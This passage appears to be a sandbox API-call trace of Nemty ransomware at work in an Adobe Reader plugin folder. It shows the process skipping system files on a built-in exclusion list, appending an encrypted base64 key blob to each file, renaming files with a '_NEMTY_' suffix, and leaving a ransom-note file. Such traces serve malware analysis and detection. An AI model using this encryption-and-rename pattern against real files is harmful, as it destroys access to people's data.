lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.TUR", lpUsedDefaultChar=0x0) returned 13 [0192.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.TUR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.TUR", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.TUR", lpUsedDefaultChar=0x0) returned 13 [0192.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0192.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0192.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0192.508] Sleep (dwMilliseconds=0x5) [0192.517] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x26656d90, dwHighDateTime=0x1d561e8)) [0192.517] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x26656d90, dwHighDateTime=0x1d561e8)) [0192.517] GetLastError () returned 0x0 [0192.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.518] GetLastError () returned 0x0 [0192.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.518] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.518] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.518] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0192.518] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e29c | out: pszString="4YclJ+lZkuCPrFQ5yD6z3w7nRzgDWXF7G35/GMlRffH2loWdOC50LbI1YSxn7X/w\r\n3x1NXA92sNgXDERIO4LQ9PGPKUQNZHMdcGnH82uS/ztvkGVUoOtdqq8kisxn8xa0\r\nNaAWTbhODRuvY0oTLokV0boapvq92IE2TXcN3ynhzf1gwJOZ22yoVpQGI7rJWr7D\r\nKszrLsxhZkTT7xFotQgSpNONVAz+atvd5IxMCqwNRaOmhXxcKn9Hq4PsvLEsujyb\r\nKtyYjI+HbNimVE9RXXOsRPwCvrgm+AnF/Vwde/2J9TAXWH2U9/8u7oLj96cJmc3R\r\niEzzDzPG4tgNMGSYHZilrg==\r\n", pcchString=0x653e29c) returned 1 [0192.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0192.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.518] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\QuickTime.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\quicktime.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.519] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0192.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0192.519] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.519] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0192.520] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.520] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0192.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.520] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0192.520] WriteFile (in: hFile=0x2f0, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.521] CloseHandle (hObject=0x2f0) returned 1 [0192.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0192.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0192.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0192.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0192.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.521] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\QuickTime.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\quicktime.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\QuickTime.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\quicktime.tur._nemty_kgobjgd_")) returned 1 [0192.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0192.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0192.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0192.522] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.TUR", cAlternateFileName="WINDOW~1.TUR")) returned 1 [0192.522] lstrcmpiW (lpString1="WindowsMedia.TUR", lpString2=".") returned 1 [0192.522] lstrcmpiW (lpString1="WindowsMedia.TUR", lpString2="..") returned 1 [0192.522] lstrcmpiW (lpString1="WindowsMedia.TUR", lpString2="...") returned 1 [0192.522] lstrcmpiW (lpString1="WindowsMedia.TUR", lpString2="windows") returned 1 [0192.522] lstrcmpiW (lpString1="WindowsMedia.TUR", lpString2="$RECYCLE.BIN") returned 1 [0192.522] lstrcmpiW (lpString1="WindowsMedia.TUR", lpString2="rsa") returned 1 [0192.522] lstrcmpiW (lpString1="WindowsMedia.TUR", lpString2="NTDETECT.COM") returned 1 [0192.522] lstrcmpiW (lpString1="WindowsMedia.TUR", lpString2="ntldr") returned 1 [0192.522] lstrcmpiW (lpString1="WindowsMedia.TUR", lpString2="MSDOS.SYS") returned 1 [0192.522] lstrcmpiW (lpString1="WindowsMedia.TUR", lpString2="IO.SYS") returned 1 [0192.522] lstrcmpiW (lpString1="WindowsMedia.TUR", lpString2="boot.ini") returned 1 [0192.522] lstrcmpiW (lpString1="WindowsMedia.TUR", lpString2="boot.ini") returned 1 [0192.522] lstrcmpiW (lpString1="WindowsMedia.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0192.522] lstrcmpiW (lpString1="WindowsMedia.TUR", lpString2="ntuser.dat") returned 1 [0192.522] lstrcmpiW (lpString1="WindowsMedia.TUR", lpString2="desktop.ini") returned 1 [0192.522] lstrcmpiW (lpString1="WindowsMedia.TUR", lpString2="CONFIG.SYS") returned 1 [0192.522] lstrcmpiW (lpString1="WindowsMedia.TUR", lpString2="RECYCLER") returned 1 [0192.522] lstrcmpiW (lpString1="WindowsMedia.TUR", lpString2="BOOTSECT.BAK") returned 1 [0192.522] lstrcmpiW (lpString1="WindowsMedia.TUR", lpString2="bootmgr") returned 1 [0192.522] lstrcmpiW (lpString1="WindowsMedia.TUR", lpString2="programdata") returned 1 [0192.522] lstrcmpiW (lpString1="WindowsMedia.TUR", lpString2="appdata") returned 1 [0192.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0192.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.TUR", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.TUR", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.TUR", lpUsedDefaultChar=0x0) returned 16 [0192.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0192.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.TUR", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.TUR", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.TUR", lpUsedDefaultChar=0x0) returned 16 [0192.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0192.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0192.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0192.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.TUR", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.TUR", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.TUR", lpUsedDefaultChar=0x0) returned 16 [0192.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0192.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0192.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.TUR", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.TUR", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.TUR", lpUsedDefaultChar=0x0) returned 16 [0192.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0192.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0192.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0192.523] Sleep (dwMilliseconds=0x5) [0192.533] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2667cef0, dwHighDateTime=0x1d561e8)) [0192.533] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2667cef0, dwHighDateTime=0x1d561e8)) [0192.533] GetLastError () returned 0x0 [0192.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.533] GetLastError () returned 0x0 [0192.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0192.533] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.533] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.533] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0192.534] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e29c | out: pszString="kG76Ps0Z6h/Lho4k16Z+zCaTAXzUJTg7M83dCazHLtGCLRudGWnnWeZh+hlf4PEO\r\n5Gm3fhzZUENq2KPOtneLq6UBUxnFtaJiX/mAyYjv9jvCt/sT5HE022BioBZYbKI0\r\nIPO7DD1VJDO6HvQN4sTpbW4xV4y5B8qLR552I6rB9DJ5cosetFlS4tt3PJug1MMO\r\ncvy+9w4e2PABtfMTp4GmKKHokpJ/AjxrfvdmqS0LsU1RnHg3dHG3Le3jwvdmKd8I\r\nMu8cZ2HNEs8QIsXxEfdHKJ8cG/tgScgbQWK5pMhb2nhpXsSvRktMDoY1ZS2ErHRh\r\nGw/CD6R5dwMq/z83YIeoYg==\r\n", pcchString=0x653e29c) returned 1 [0192.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0192.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0192.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.534] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\WindowsMedia.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\windowsmedia.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.534] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0192.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0192.534] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.534] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0192.536] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.536] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0192.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.536] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0192.536] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.536] CloseHandle (hObject=0x2f0) returned 1 [0192.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0192.536] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0192.536] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0192.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0192.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0192.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0192.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0192.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0192.537] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\WindowsMedia.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\windowsmedia.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\WindowsMedia.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\windowsmedia.tur._nemty_kgobjgd_")) returned 1 [0192.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0192.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0192.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.537] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x265be810, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x265be810, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x265e4970, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0192.538] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0192.538] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0192.538] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0192.538] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0192.538] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0192.538] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0192.538] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0192.538] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0192.538] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0192.538] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0192.538] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0192.538] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0192.538] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0192.538] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned 